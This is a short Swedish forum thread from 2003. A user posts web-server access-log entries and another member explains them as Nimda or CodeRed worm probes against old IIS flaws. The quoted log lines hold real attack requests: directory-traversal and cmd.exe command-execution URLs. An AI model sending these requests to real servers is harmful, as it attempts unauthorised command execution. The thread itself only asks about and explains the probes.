webForumDet fria alternativet

accessloggen

1 svar · 212 visningar · startad av Nexus86

Nexus86Medlem sedan okt. 20023 030 inlägg
#1

Vad ska detta betyda?

***.***.***.*** - - [08/Jul/2003:23:15:08 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 294
***.***.***.*** - - [08/Jul/2003:23:15:08 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 292
***.***.***.*** - - [08/Jul/2003:23:15:08 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
***.***.***.*** - - [08/Jul/2003:23:15:08 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 302
***.***.***.*** - - [08/Jul/2003:23:15:08 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 316

Är det någon som försöker köra dir genom kommandofönstret eller? :q

R// Hittar även en massa annat konstigt i accessloggen.

GunnarDMedlem sedan juni 20014 290 inlägg
#2

Det är virus som försöker utnyttja gamla fel i IIS, antingen nimda eller CodeRed.

Eftersom du kör Apache så kan du sitta lugnt.

132 ms totalt · 3 externa anrop · v20260731065814-full.102f7fcd
0 ms — hämta forumlista (cache)
0 ms — hämta statistik (cache)
129 ms — hämta tråd, inlägg och bilagor (db)